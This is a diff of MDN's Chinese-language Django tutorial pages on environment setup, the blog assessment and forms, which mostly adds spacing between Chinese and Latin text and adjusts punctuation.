-- 计算机软件包管理器。与操作系统捆绑在一起的Django发行版是一种常见的安装途径。请注意,打包的版本可能很老,且只能安装到系统Python 环境中(而这可能不是你想要的)。
-- 源代码。你可以从源代码获得并安装最新版本的Django。这并不推荐给初学者,但是当你准备好开始贡献给Django项目本身的时候,它是必需的。
+- Python 包资源库 (PyPi)。并用 pip 工具进行安装,这是获取 Django 最新稳定版本的最佳方式。
+- 计算机软件包管理器。与操作系统捆绑在一起的 Django 发行版是一种常见的安装途径。请注意,打包的版本可能很老,且只能安装到系统 Python 环境中(而这可能不是你想要的)。
+- 源代码。你可以从源代码获得并安装最新版本的 Django。这并不推荐给初学者,但是当你准备好开始贡献给 Django 项目本身的时候,它是必需的。
本文介绍如何从PyPi安装Django的最新稳定版本。
+本文介绍如何从 PyPi 安装 Django 的最新稳定版本。
-哪个数据库?
+哪个数据库?
-Django支持四个主要数据库(PostgreSQL,MySQL,Oracle和SQLite),还有一些社区库可以为其他流行的SQL和NOSQL数据库提供不同级别的支持。我们建议你为生产和开发选择相同的数据库(尽管Django使用其对象关系映射器(ORM)抽象了许多数据库之间的差异,但是仍然存在本可以避免的潜在问题 ).
+Django 支持四个主要数据库(PostgreSQL,MySQL,Oracle 和 SQLite),还有一些社区库可以为其他流行的 SQL 和 NOSQL 数据库提供不同级别的支持。我们建议你为生产和开发选择相同的数据库(尽管 Django 使用其对象关系映射器(ORM)抽象了许多数据库之间的差异,但是仍然存在本可以避免的潜在问题 ).
-对于本文(和本模块的大部分),我们将使用将数据存储在文件中的SQLite数据库。SQLite旨在用作轻量级数据库,不能支持高并发。然而,这确实是只读的应用程序的绝佳选择。
+对于本文(和本模块的大部分),我们将使用将数据存储在文件中的 SQLite 数据库。SQLite 旨在用作轻量级数据库,不能支持高并发。然而,这确实是只读的应用程序的绝佳选择。
--注意:当你使用标准工具(django-admin)启动你的网站项目时,Django将默认使用SQLite。用来入门时,这是一个很好的选择,因为它不需要额外的配置和设置。
+注意:当你使用标准工具(django-admin)启动你的网站项目时,Django 将默认使用 SQLite。用来入门时,这是一个很好的选择,因为它不需要额外的配置和设置。
安装本机系统还是Python虚拟环境中?
+安装本机系统还是 Python 虚拟环境中?
-当你安装Python3时,将获得一个由所有Python3代码共享的全局环境。虽然你可以在该环境中安装任何你喜欢的Python包,但是每次只能安装每个包的一个特定版本。
+当你安装 Python3 时,将获得一个由所有 Python3 代码共享的全局环境。虽然你可以在该环境中安装任何你喜欢的 Python 包,但是每次只能安装每个包的一个特定版本。
-注意:安装到全局环境的Python应用程序可能会相互冲突(例如如果它们依赖于同一包的不同版本)。
+注意:安装到全局环境的 Python 应用程序可能会相互冲突(例如如果它们依赖于同一包的不同版本)。
如果你把Django安装到默认/全局环境中,那么在该计算机上将只能定位到Django的一个版本。如果你想创建新的网站(使用最新版本的Django),同时仍然维护依赖旧版本的网站,这可能是个问题。
-因此,经验丰富的Python/Django开发人员通常在独立Python虚拟环境中运行Python应用程序。这样就可以在一台计算机上实现多个不同的Django环境。Django开发团队同样建议你使用Python虚拟环境。
+因此,经验丰富的 Python/Django 开发人员通常在独立 Python 虚拟环境中运行 Python 应用程序。这样就可以在一台计算机上实现多个不同的 Django 环境。Django 开发团队同样建议你使用 Python 虚拟环境。
-本模块假设已经将Django安装到虚拟环境中,下面我们会演示如何进行。
+本模块假设已经将 Django 安装到虚拟环境中,下面我们会演示如何进行。
安装 Python 3
-为了使用Django,你需要在你的操作系统中安装Python。如果你使用Python3,那么你同样需要Python 包管理工具 — pip3 — 用来管理 (安装,更新和删除)被Django和其他Python应用程序使用的Python软件包/库。
+为了使用 Django,你需要在你的操作系统中安装 Python。如果你使用 Python3,那么你同样需要Python 包管理工具 — pip3 — 用来管理 (安装,更新和删除) 被 Django 和其他 Python 应用程序使用的 Python 软件包/库。
-本节简要介绍了如何检查有哪些版本的Python,并根据需要安装适用于 Ubuntu Linux 16.04,macOS, and Windows 10的新版本。
+本节简要介绍了如何检查有哪些版本的 Python,并根据需要安装适用于 Ubuntu Linux 16.04,macOS, and Windows 10的新版本。
-注意: 根据你的平台, 您还可以从操作系统自己的软件包管理器或其他机制安装Python / pip。对于大多数平台,您可以从https://www.python.org/downloads/下载所需的安装文件,并使用该平台特定的方法进行安装。
+注意: 根据你的平台,您还可以从操作系统自己的软件包管理器或其他机制安装 Python / pip。对于大多数平台,您可以从https://www.python.org/downloads/下载所需的安装文件,并使用该平台特定的方法进行安装。
Ubuntu 18.04
-Ubuntu Linux 18.04 LTS默认包含Python 3.6.6。你可以通过在Bash终端中运行以下命令来确认这一点:
+Ubuntu Linux 18.04 LTS 默认包含 Python 3.6.6。你可以通过在 Bash 终端中运行以下命令来确认这一点:
python3 -V Python 3.6.6-然而,在默认情况下,为Python 3(包括Django)安装软件包的Python包管理工具不可用。你可以在bash终端中使用以下命令安装pip3:
+然而,在默认情况下,为 Python 3(包括 Django)安装软件包的 Python 包管理工具不可用。你可以在bash终端中使用以下命令安装pip3:
sudo apt-get install python3-pipmacOS
-macOS 的"El Capitan" 及其他最新版本不包含Python 3。你可以通过在bash终端中运行一下命令来确认:
+macOS 的"El Capitan" 及其他最新版本不包含 Python 3。你可以通过在 bash 终端中运行一下命令来确认:
python3 -V -bash: python3: command not found-你可以轻松地从 python.org安装Python 3(以及pip3工具):
+你可以轻松地从 python.org安装 Python 3(以及 pip3 工具):
-
-- 下载所需的安装程序: +
- 下载所需的安装程序:
-
- 点击 https://www.python.org/downloads/
- 选择 Download Python 3.8.2 (具体的版本号可能不同)。
- 使用Finder找到安装包,然后双击运行,并按照提示进行安装。
+- 使用 Finder 找到安装包,然后双击运行,并按照提示进行安装。
之后可以通过检查Python3版本确认是否安装成功,如下所示:
+之后可以通过检查 Python3 版本确认是否安装成功,如下所示:
python3 -V Python 3.8.2-你也可以通过列出可用的包来检查pip3是否安装了:
+你也可以通过列出可用的包来检查 pip3 是否安装了:
pip3 listWindows 10
-windows默认不包含Python, 但你可以从 python.org轻松地安装它(以及pip3工具):
+windows 默认不包含 Python, 但你可以从 python.org轻松地安装它(以及 pip3 工具):
-
-- 下载所需版本: +
- 下载所需版本:
-
- 点击 https://www.python.org/downloads/
- 选择 Download Python 3.8.2 (具体的版本号可能不同)。
- 双击现在的文件并按照提示安装Python。
+- 双击现在的文件并按照提示安装 Python。
- 确保勾选了"Add Python to PATH"选项。
你可以在命令提示符中输入以下内容来验证是否安装了Python:
+你可以在命令提示符中输入以下内容来验证是否安装了 Python:
python -V Python 3.8.2-Windows安装程序默认包含pip3 (Python包管理器)。同样在命令提示符中输入以下内容来列出已安装的包:
+Windows 安装程序默认包含 pip3 (Python 包管理器)。同样在命令提示符中输入以下内容来列出已安装的包:
pip3 list--注意:安装包应该已把运行上述命令所需的一切设置完成。但如果你得到的消息是找不到Python,那么你可能忘记将Python添加到系统路径中了。你可以通过再次运行安装包,选择"Modify",并在下一页面中勾选 "Add Python to environment variables"来修复这个问题。
+注意:安装包应该已把运行上述命令所需的一切设置完成。但如果你得到的消息是找不到 Python,那么你可能忘记将 Python 添加到系统路径中了。你可以通过再次运行安装包,选择"Modify",并在下一页面中勾选 "Add Python to environment variables"来修复这个问题。
在Python虚拟环境中使用Django
+在 Python 虚拟环境中使用 Django
-我们使用virtualenvwrapper(Linux及macOS)和 virtualenvwrapper-win(WIndows)来创建Python虚拟环境,而它们又使用了virtualenv。封装工具创建了一个一致的接口来管理各个平台上的接口。
+我们使用virtualenvwrapper(Linux 及 macOS)和 virtualenvwrapper-win(WIndows)来创建 Python 虚拟环境,而它们又使用了virtualenv。封装工具创建了一个一致的接口来管理各个平台上的接口。
安装虚拟环境软件
-Ubuntu虚拟环境设置
+Ubuntu 虚拟环境设置
-安装了Python和pip之后,你就可以安装virtualenvwrapper(包括了virtualenv)。可以在这里找到正式的安装指南,或按照以下指导操作。
+安装了 Python 和 pip 之后,你就可以安装 virtualenvwrapper(包括了 virtualenv)。可以在这里找到正式的安装指南,或按照以下指导操作。
-使用pip3安装该工具:
+使用 pip3 安装该工具:
-sudo pip3 install virtualenvwrapper
然后将以下代码行添加到shell启动文件的末尾(这是主目录中的一个隐藏文件,名字是.bashrc)。这些文件设置了虚拟环境应该存在的位置、开发项目目录的位置以及与这个包一起安装的脚本的位置。
+然后将以下代码行添加到 shell 启动文件的末尾 (这是主目录中的一个隐藏文件,名字是.bashrc)。这些文件设置了虚拟环境应该存在的位置、开发项目目录的位置以及与这个包一起安装的脚本的位置。
export WORKON_HOME=$HOME/.virtualenvs export VIRTUALENVWRAPPER_PYTHON=/usr/bin/python3 @@ -216,7 +216,7 @@
Ubuntu虚拟环境设置
source /usr/local/bin/virtualenvwrapper.sh-@@ -238,13 +238,13 @@注意:
+VIRTUALENVWRAPPER_PYTHON
和VIRTUALENVWRAPPER_VIRTUALENV_ARGS
变量指向Python3的常规安装位置,source /usr/local/bin/virtualenvwrapper.sh
指向virtualenvwrapper.sh
脚本的一般安装位置。 如果您在测试时发现virtualenv无法正常工作,则要检查的一件事是Python和该脚本是否在预期的位置(然后适当更改启动文件)。注意:
VIRTUALENVWRAPPER_PYTHON
和VIRTUALENVWRAPPER_VIRTUALENV_ARGS
变量指向 Python3 的常规安装位置,source /usr/local/bin/virtualenvwrapper.sh
指向virtualenvwrapper.sh
脚本的一般安装位置。 如果您在测试时发现virtualenv无法正常工作,则要检查的一件事是 Python 和该脚本是否在预期的位置(然后适当更改启动文件)。你可以使用
which virtualenvwrapper.sh
和which python3
命令为你的系统找到正确的安装位置。Ubuntu虚拟环境设置
macOS 虚拟环境设置
-在macOS上设置virtualenvwrapper 几乎和在Ubuntu上是一样的(你同样可以按照以下指导操作,或在这里找到正式的安装指南)。
+在 macOS 上设置virtualenvwrapper 几乎和在 Ubuntu 上是一样的(你同样可以按照以下指导操作,或在这里找到正式的安装指南)。
使用pip安装virtualenvwrapper(并绑定virtualenv),如下所示。
-sudo pip3 install virtualenvwrapper
然后将以下代码行添加到shell启动文件的末尾:
+然后将以下代码行添加到 shell 启动文件的末尾:
export WORKON_HOME=$HOME/.virtualenvs export VIRTUALENVWRAPPER_PYTHON=/usr/bin/python3 @@ -252,9 +252,9 @@
macOS 虚拟环境设置
source /usr/local/bin/virtualenvwrapper.sh--注意:
+VIRTUALENVWRAPPER_PYTHON
和VIRTUALENVWRAPPER_VIRTUALENV_ARGS
变量指向Python3的常规安装位置,source /usr/local/bin/virtualenvwrapper.sh
指向virtualenvwrapper.sh
脚本的一般安装位置。 如果您在测试时发现virtualenv无法正常工作,则要检查的一件事是Python和该脚本是否在预期的位置(然后适当更改启动文件)。注意:
-VIRTUALENVWRAPPER_PYTHON
和VIRTUALENVWRAPPER_VIRTUALENV_ARGS
变量指向 Python3 的常规安装位置,source /usr/local/bin/virtualenvwrapper.sh
指向virtualenvwrapper.sh
脚本的一般安装位置。 如果您在测试时发现virtualenv无法正常工作,则要检查的一件事是 Python 和该脚本是否在预期的位置(然后适当更改启动文件)。例如,在macOS上的一个安装测试中,启动文件中必须有以下几行代码:
+例如,在 macOS 上的一个安装测试中,启动文件中必须有以下几行代码:
export WORKON_HOME=$HOME/.virtualenvs export VIRTUALENVWRAPPER_PYTHON=/Library/Frameworks/Python.framework/Versions/3.7/bin/python3 @@ -264,10 +264,10 @@
macOS 虚拟环境设置
你可以使用
which virtualenvwrapper.sh
和which python3
命令为你的系统找到正确的安装位置。此处使用和Ubuntu相同的代码行,但是启动文件是主目录中叫做.bash_profile的隐藏文件。
+此处使用和 Ubuntu 相同的代码行,但是启动文件是主目录中叫做.bash_profile的隐藏文件。
-注意:如果找不到.bash_profile进行编辑,也可以使用nano在终端中打开它,命令看起来类似于:
+注意:如果找不到.bash_profile进行编辑,也可以使用 nano 在终端中打开它,命令看起来类似于:
-cd ~ # Navigate to my home directory ls -la #List the content of the directory. YOu should see .bash_profile @@ -280,11 +280,11 @@
macOS 虚拟环境设置
-source ~/.bashrc
此时,你应该能看到一些脚本正在运行(和Ubuntu中同样的脚本)。然后你就可以使用
+mkvirtualenv
命令创建一个新的虚拟环境。此时,你应该能看到一些脚本正在运行(和 Ubuntu 中同样的脚本)。然后你就可以使用
mkvirtualenv
命令创建一个新的虚拟环境。Windows 10 虚拟环境设置
-安装 virtualenvwrapper-win 甚至比设置virtualenvwrapper 更简单,因为你无需配置工具用来存储虚拟环境信息的位置(有一个默认值)。你需要做的只是在命令提示符中运行以下命令:
+安装 virtualenvwrapper-win 甚至比设置virtualenvwrapper 更简单,因为你无需配置工具用来存储虚拟环境信息的位置(有一个默认值)。你需要做的只是在命令提示符中运行以下命令:
@@ -294,7 +294,7 @@pip3 install virtualenvwrapper-win
创建虚拟环境
一旦你成功安装了virtualenvwrapper 或 virtualenvwrapper-win,那么在所有平台中使用虚拟环境的方法是非常相似的。
-现在你可以使用
+mkvirtualenv
命令创建一个新的虚拟环境。在运行此命令时,你将看到正在设置的环境(你所看到的只略微与平台相关)。命令完成后,新的虚拟环境将被激活——你能看到提示符的开头就是括号中的环境名称(以下我们展示的是Ubuntu的,但是在Windows/macOS上,末行时相似的|)现在你可以使用
mkvirtualenv
命令创建一个新的虚拟环境。在运行此命令时,你将看到正在设置的环境(你所看到的只略微与平台相关)。命令完成后,新的虚拟环境将被激活——你能看到提示符的开头就是括号中的环境名称(以下我们展示的是 Ubuntu 的,但是在 Windows/macOS 上,末行时相似的|)-$ mkvirtualenv my_django_environment @@ -303,32 +303,32 @@
创建虚拟环境
virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/t_env7/bin/get_env_details (my_django_environment) ubuntu@ubuntu:~$现在你已进入虚拟环境,可以进行Django安装并开始开发。
+现在你已进入虚拟环境,可以进行 Django 安装并开始开发。
-注意:从现在开始,在本文(实际上是该模块)中,请假定所有命令都在类似于我们上面设置的Python虚拟环境中运行。
+注意:从现在开始,在本文 (实际上是该模块) 中,请假定所有命令都在类似于我们上面设置的 Python 虚拟环境中运行。
使用一个虚拟环境
-您应该知道一些其他有用的命令(在工具的文档中还有更多,但这些是您将经常使用的命令):
+您应该知道一些其他有用的命令 (在工具的文档中还有更多,但这些是您将经常使用的命令):
-
-- +
deactivate
—退出当前的Python虚拟环境deactivate
—退出当前的 Python 虚拟环境- -
workon
— 列出可用的所有虚拟环境- +
workon name_of_environment
—激活特定的Python虚拟环境workon name_of_environment
—激活特定的 Python 虚拟环境rmvirtualenv name_of_environment
— 移除特定的虚拟环境安装Django
+安装 Django
-一旦你创建了一个虚拟环境,并且使用
+workon
进入了它,就可以使用pip3来安装Django。一旦你创建了一个虚拟环境,并且使用
workon
进入了它,就可以使用 pip3 来安装 Django。pip3 install django-您可以通过运行以下命令来测试Django是否安装(这只是用来测试Python是否可以找到Django模块):
+您可以通过运行以下命令来测试 Django 是否安装(这只是用来测试 Python 是否可以找到 Django 模块):
# Linux/macOS python3 -m django --version @@ -340,15 +340,15 @@安装Django
-注意:如果上面的Windows命令没有显示django模块,请尝试:
+注意:如果上面的 Windows 命令没有显示 django 模块,请尝试:
-py -m django --version
在Windows中,Python 3脚本是通过在命令前面加上
+py -3
来启动的,尽管该脚本可能会因您的特定安装而有所不同。 如果遇到命令问题,请尝试省略-3
修饰符。 在Linux /macOS中,命令是python3。在 Windows 中,Python 3 脚本是通过在命令前面加上
py -3
来启动的,尽管该脚本可能会因您的特定安装而有所不同。如果遇到命令问题,请尝试省略-3
修饰符。在 Linux /macOS 中,命令是 python3。-重要提示:本模块的其余部分使用Linux命令来调用Python 3(
+python3
)。如果您在Windows上工作,只需将此前缀替换为:py -3
重要提示:本模块的其余部分使用 Linux 命令来调用 Python 3(
python3
)。如果您在 Windows 上工作,只需将此前缀替换为:py -3
测试你的安装
@@ -359,12 +359,12 @@测试你的安装
cd django_test然后,您可以像所展示的一样使用django-admin工具创建一个名为“ mytestsite ” 的新框架站点。创建网站后,您可以CD到此文件夹,并将在其中找到管理项目的主要脚本,名为manage.py。
+然后,您可以像所展示的一样使用 django-admin 工具创建一个名为“ mytestsite ”的新框架站点。创建网站后,您可以 CD 到此文件夹,并将在其中找到管理项目的主要脚本,名为manage.py。
django-admin startproject mytestsite cd mytestsite-我们可以在这个文件夹中使用manager.py和
+runserver
命令运行开发web服务器,如下所示。我们可以在这个文件夹中使用manager.py和
runserver
命令运行开发 web 服务器,如下所示。$ python3 manage.py runserver Performing system checks... @@ -380,10 +380,10 @@
测试你的安装
Quit the server with CONTROL-C.--注意:上面的命令显示了Linux /macOS命令。您可以忽略关于“15 unapplied migration(s)”的警告!
+注意:上面的命令显示了 Linux /macOS 命令。您可以忽略关于“15 unapplied migration(s)”的警告!
一旦服务器运行,您可以通过本地Web浏览器打开
+http://127.0.0.1:8000/
来查看该站点。你应该看到一个如下所示的网站:一旦服务器运行,您可以通过本地 Web 浏览器打开
@@ -392,16 +392,16 @@http://127.0.0.1:8000/
来查看该站点。你应该看到一个如下所示的网站:测试你的安装
概要
-现在,你的计算机中已经启动并运行了一个Django开发环境。
+现在,你的计算机中已经启动并运行了一个 Django 开发环境。
-在测试部分,您还简要地了解了如何使用
+django-admin startproject
创建一个新的Django网站,并使用开发web服务器(python3 manager .py runserver
)在浏览器中运行它。在下一篇文章中,我们将对此过程进行扩展,构建一个简单但完整的web应用程序。在测试部分,您还简要地了解了如何使用
django-admin startproject
创建一个新的 Django 网站,并使用开发 web 服务器 (python3 manager .py runserver
) 在浏览器中运行它。在下一篇文章中,我们将对此过程进行扩展,构建一个简单但完整的 web 应用程序。看看瞧瞧
- 快速安装指南(Django docs)
-- 如何安装Django — 完整指南 (Django docs) - 包含有关如何删除Django的信息
-- 如何安装Django在 Windows (Django docs)
+- 如何安装 Django — 完整指南 (Django docs) - 包含有关如何删除 Django 的信息
+- 如何安装 Django 在 Windows (Django docs)
{{PreviousMenuNext("Learn/Server-side/Django/Introduction", "Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django")}}
diff --git a/files/zh-cn/learn/server-side/django/django_assessment_blog/index.html b/files/zh-cn/learn/server-side/django/django_assessment_blog/index.html index e7d947beea45bd..df8fbc31fb6703 100644 --- a/files/zh-cn/learn/server-side/django/django_assessment_blog/index.html +++ b/files/zh-cn/learn/server-side/django/django_assessment_blog/index.html @@ -12,19 +12,19 @@
- 先决条件: +先决条件: 在尝试此评估之前,您应该已经完成了本模块中的所有文章。 - 目标: -测试对Django基础知识的理解,包括URL配置,模型,视图,表单和模板。 +目标: +测试对 Django 基础知识的理解,包括 URL 配置,模型,视图,表单和模板。 項目概要
-下面列出了需要显示的页面、URL和其它要求:
+下面列出了需要显示的页面、URL 和其它要求:
@@ -44,7 +44,7 @@
項目概要
所有博客文章列表 /blog/blogs/
- 所有博客文章列表:
+所有博客文章列表:
- 可通过侧边栏链接访问所有用户。
@@ -60,7 +60,7 @@項目概要
博客作者(博主)详细信息页面 /blog/blogger/<author-id>
- @@ -120,7 +120,7 @@指定作者的信息(按ID)和他们的博客文章列表:
+指定作者的信息(按 ID)和他们的博客文章列表:
- 可以从博客文章等的作者链接访问所有用户
@@ -84,7 +84,7 @@項目概要
- 博客文章的评论应显示在底部。
- 评论应按顺序排序:从最旧到最近。
- 包含为登录用户添加注释的链接(请参阅注释表单页面)
-- 博客帖子和评论,只需显示纯文本。不需要支持任何类型的HTML标记(例如链接,图像,粗体/斜体等)。
+- 博客帖子和评论,只需显示纯文本。不需要支持任何类型的 HTML 标记(例如链接,图像,粗体/斜体等)。
項目概要
用户认证页面 /accounts/<standard urls>
- @@ -152,7 +152,7 @@用于登录,注销和设置密码的标准Django身份验证页面:
+用于登录,注销和设置密码的标准 Django 身份验证页面:
@@ -139,7 +139,7 @@
項目概要
- 管理站点的博客帖子记录,应显示内联的相关评论列表(在每篇博客文章下方)。
-- 管理站点中的注释名称,是通过将注释说明,截断为75个字符来创建的。
+- 管理站点中的注释名称,是通过将注释说明,截断为 75 个字符来创建的。
- 其他类型的记录,可以使用基本注册。
項目概要
- 所有模型字段都具有正确的标签和长度。
- 所有模型都具有预期的对象名称(例如
-__str__()
返回预期值)。- 模型具有单个博客和评论记录的预期URL(例如,
+get_absolute_url()
返回预期的URL)。- 模型具有单个博客和评论记录的预期 URL(例如,
get_absolute_url()
返回预期的 URL)。- BlogListView(所有博客页面)可在预期位置访问(例如 /blog/blogs)
- BlogListView(所有博客页面)可通过预期的命名网址访问(例如 'blogs')
- BlogListView(所有博客页面)使用预期的模板(例如默认模板)
@@ -171,7 +171,7 @@截图
所有博客文章列表
-这将显示所有博客帖子的列表(可从侧栏中的“所有博客” All blogs 链接访问)。注意事项:
+这将显示所有博客帖子的列表(可从侧栏中的“所有博客”All blogs 链接访问)。注意事项:
- 侧栏还列出了登录用户。
@@ -184,7 +184,7 @@所有博客文章列表
所有博主的列表
-这提供了到所有博客的链接,如同来自侧栏中的“所有博客” All bloggers 链接。在这种情况下,我们可以从侧边栏看到,并没有用户登录。
+这提供了到所有博客的链接,如同来自侧栏中的“所有博客”All bloggers 链接。在这种情况下,我们可以从侧边栏看到,并没有用户登录。
@@ -215,7 +215,7 @@完成的步骤
以下部分,描述了您需要执行的操作。
-
- 为站点创建骨架项目和Web应用程序(如Django教程 2:创建骨架网站中所述)。您可以使用 'diyblog' 作为项目名称,使用 'blog' 作为应用程序名称。
+- 为站点创建骨架项目和 Web 应用程序(如Django 教程 2:创建骨架网站中所述)。您可以使用 'diyblog' 作为项目名称,使用 'blog' 作为应用程序名称。
- 为博客帖子,评论和所需的任何其他对象创建模型。在考虑您的设计时,请记住:
- 每个评论只有一个博客,但博客可能有很多评论。
@@ -238,18 +238,18 @@提示和技巧
一些一般提示:
-
-- 索引页面可以实现为基本功能视图和模板(就像locallibrary一样)。
-- T可以使用通用列表和详细信息视图,以创建博客帖子和博主的列表视图,以及博客帖子的详细信息视图。
+- 索引页面可以实现为基本功能视图和模板(就像 locallibrary 一样)。
+- T 可以使用通用列表和详细信息视图,以创建博客帖子和博主的列表视图,以及博客帖子的详细信息视图。
- 可以使用通用列表的博客列表视图,并对指定作者匹配的博客对象进行过滤,来创建特定作者的博客帖子列表。
-
- 您将必须实现
+get_queryset(self)
来进行过滤(很像我们的图书馆类LoanedBooksAllListView
),并从URL获取作者信息。- 您将必须实现
get_queryset(self)
来进行过滤(很像我们的图书馆类LoanedBooksAllListView
),并从 URL 获取作者信息。- 您还需要将作者的名称,传递给上下文中的页面。要在基于类的视图中执行此操作,您需要实现
get_context_data()
(在下面讨论)。- 可以使用基于函数的视图(以及关联的模型和表单),或使用通用
CreateView
,以创建添加注释表单。如果您使用CreateView
(推荐),那么:
- 您还需要将博客文章的名称,传递到上下文中的评论页面(实现
-get_context_data()
,如下所述)。- 表单应仅显示用户输入的注释“description”(日期和相关的博客文章,不应该是可编辑的)。由于它们本身不在表单中,因此您的代码,需要在
form_valid()
函数中,设置注释的作者,以便将其保存到模型中(如此处所述 - Django文档)。在同一个功能中,我们设置了相关的博客。可能的实现如下所示(pk
是从URL / URL配置传入的博客ID)。 +- 表单应仅显示用户输入的注释“description”(日期和相关的博客文章,不应该是可编辑的)。由于它们本身不在表单中,因此您的代码,需要在
-form_valid()
函数中,设置注释的作者,以便将其保存到模型中(如此处所述 - Django 文档)。在同一个功能中,我们设置了相关的博客。可能的实现如下所示(pk
是从 URL / URL 配置传入的博客 ID)。def form_valid(self, form): """ Add author and associated blog to form data before setting it as valid (so it is saved to model) @@ -262,12 +262,12 @@提示和技巧
return super(BlogCommentCreate, self).form_valid(form)- 在表单验证后,您需要提供成功的 URL,以进行重新定向;这应该是原来的博客。为此,您需要覆盖
+get_success_url()
,并为原来的博客 “反转” URL 。您可以使用self.kwargs
属性,获取所需的博客ID,如上面的form_valid()
方法所示。- 在表单验证后,您需要提供成功的 URL,以进行重新定向;这应该是原来的博客。为此,您需要覆盖
get_success_url()
,并为原来的博客“反转”URL。您可以使用self.kwargs
属性,获取所需的博客 ID,如上面的form_valid()
方法所示。我们简要地讨论了在Django教程 6:通用列表和详细信息视图主题中,在基于类的视图中,将上下文传递给模板。要执行此操作,您需要覆盖
+get_context_data()
(首先,获取现有上下文,使用要传递给模板的任何其他变量,更新它,然后返回更新的上下文)。例如,下面的代码片段,显示了如何根据BlogAuthor
id,将 blogger 对象添加到上下文中。我们简要地讨论了在Django 教程 6:通用列表和详细信息视图主题中,在基于类的视图中,将上下文传递给模板。要执行此操作,您需要覆盖
get_context_data()
(首先,获取现有上下文,使用要传递给模板的任何其他变量,更新它,然后返回更新的上下文)。例如,下面的代码片段,显示了如何根据BlogAuthor
id,将 blogger 对象添加到上下文中。class SomeView(generic.ListView): ... @@ -282,7 +282,7 @@提示和技巧
评估
-这个任务的评估,可以在Github上找到。此评估主要基于您的应用程序,满足上面列出要求的程度,尽管评估的某些部分,会检查您的代码是否使用了适当的模型,并且您至少编写了一些测试代码。完成后,您可以查看我们完成的示例,该示例项目的表现是 “满分”。
+这个任务的评估,可以在Github上找到。此评估主要基于您的应用程序,满足上面列出要求的程度,尽管评估的某些部分,会检查您的代码是否使用了适当的模型,并且您至少编写了一些测试代码。完成后,您可以查看我们完成的示例,该示例项目的表现是“满分”。
完成本单元后,表示您还完成了所有 MDN 用于学习《基本 Django 服务器端网站编程》的内容!我们希望您喜欢这个模块,并感觉您已经掌握了基础知识!
@@ -295,7 +295,7 @@本系列教程
- Django 介绍
- 架设 Django 开发环境
-- Django 教程: 本地图书馆网站
+- Django 教程:本地图书馆网站
- Django 教程 2: 创建骨架网站
- Django 教程 3: 使用模型
- Django 教程 4: Django 管理站点
diff --git a/files/zh-cn/learn/server-side/django/forms/index.html b/files/zh-cn/learn/server-side/django/forms/index.html index 49bc0928779568..496ac67aad31c9 100644 --- a/files/zh-cn/learn/server-side/django/forms/index.html +++ b/files/zh-cn/learn/server-side/django/forms/index.html @@ -7,16 +7,16 @@{{PreviousMenuNext("Learn/Server-side/Django/authentication_and_sessions", "Learn/Server-side/Django/Testing", "Learn/Server-side/Django")}}-在本教程中,我们将向您展示如何在Django中使用HTML表单,特别是编写表单以创建,更新和删除模型实例的最简单方法。作为本演示的一部分,我们将扩展LocalLibrary网站,以便图书馆员可以使用我们自己的表单(而不是使用管理员应用程序)更新图书,创建,更新和删除作者。
+在本教程中,我们将向您展示如何在 Django 中使用 HTML 表单,特别是编写表单以创建,更新和删除模型实例的最简单方法。作为本演示的一部分,我们将扩展LocalLibrary网站,以便图书馆员可以使用我们自己的表单(而不是使用管理员应用程序)更新图书,创建,更新和删除作者。
- 前置条件: +前置条件: 完成所有先前的教程主题,包含 Django 教程 8: 使用者授权与许可。 - @@ -24,9 +24,9 @@目標: +目標: 了解如何撰写表单,向使用者取得资料,并更新资料库。了解通用类别表单编辑视图,如何大量地简化用于单一模型的新表单制作。 概览
-一张 HTML 表单 ,是由一个或多个栏位/widget在一个网页上组成的,以用于向使用者收集资料,并提交至伺服器。表单是一个弹性的机制,用于收集使用者输入,有合适的 widgets 可输入许多不同型态的资料,包含文字框、复选框、单选按钮、日期选取组件等等。若是允许我们用
+POST
方式传送资料,并附加 CSRF 跨站要求伪造保护,表单也是与伺服器分享资料的一种相对安全的方式。一张 HTML 表单 ,是由一个或多个栏位/widget 在一个网页上组成的,以用于向使用者收集资料,并提交至伺服器。表单是一个弹性的机制,用于收集使用者输入,有合适的 widgets 可输入许多不同型态的资料,包含文字框、复选框、单选按钮、日期选取组件等等。若是允许我们用
-POST
方式传送资料,并附加 CSRF 跨站要求伪造保护,表单也是与伺服器分享资料的一种相对安全的方式。在这个教程目前为止,我们还没有创造任何表单,但我们已经在 Django 管理站点遇到这些表单了— 例如以下的撷图展示了一张表单,用于编辑我们的一个 Book书本模型,包含一些选择列表以及文字编辑框。
+在这个教程目前为止,我们还没有创造任何表单,但我们已经在 Django 管理站点遇到这些表单了— 例如以下的撷图展示了一张表单,用于编辑我们的一个 Book 书本模型,包含一些选择列表以及文字编辑框。
@@ -36,11 +36,11 @@概览
HTML 表单
-首先简要概述HTML表单。考虑一个简单的HTML表单,其中包含一个文本字段,用于输入某些“团队”的名称及其相关标签:
+首先简要概述HTML 表单。考虑一个简单的 HTML 表单,其中包含一个文本字段,用于输入某些“团队”的名称及其相关标签:
-表单在HTML中定义为
+<form>...</form>
标记内的元素集合,包含至少一个type="submit"
的input
输入元素。表单在 HTML 中定义为
<form>...</form>
标记内的元素集合,包含至少一个type="submit"
的input
输入元素。<form action="/team_name_url/" method="post"> <label for="team_name">Enter name: </label> @@ -48,27 +48,27 @@-HTML 表单
<input type="submit" value="OK"> </form>虽然在这里,我们只有一个文本字段,用于输入团队名称,但表单可能包含任意数量的其他输入元素,及其相关标签。字段的
+type
属性,定义将显示哪种窗口小部件。该字段的名称name
和id
,用于标识 JavaScript / CSS / HTML中的字段,而value
定义字段首次显示时的初始值。匹配团队标签使用label
标签指定(请参阅上面的“输入名称” Enter name),其中for
字段包含相关input
输入的id
值。虽然在这里,我们只有一个文本字段,用于输入团队名称,但表单可能包含任意数量的其他输入元素,及其相关标签。字段的
type
属性,定义将显示哪种窗口小部件。该字段的名称name
和id
,用于标识 JavaScript / CSS / HTML 中的字段,而value
定义字段首次显示时的初始值。匹配团队标签使用label
标签指定(请参阅上面的“输入名称”Enter name),其中for
字段包含相关input
输入的id
值。提交输入
submit
将显示为一个按钮(默认情况下),用户可以按下该按钮,将表单中所有其他输入元素中的数据,上传到服务器(在本例中,只有team_name
)。表单属性定义用于发送数据的 HTTPmethod
方法,和服务器上数据的目标(action
):-
- -
action
: 提交表单时,要发送数据以进行处理的资源 /URL。如果未设置(或设置为空字符串),则表单将提交回当前页面 URL。method
: 用于发送数据的HTTP方法:post 或 get。 +method
: 用于发送数据的 HTTP 方法:post 或 get。
- 如果数据将导致服务器数据库的更改,则应始终使用
-POST
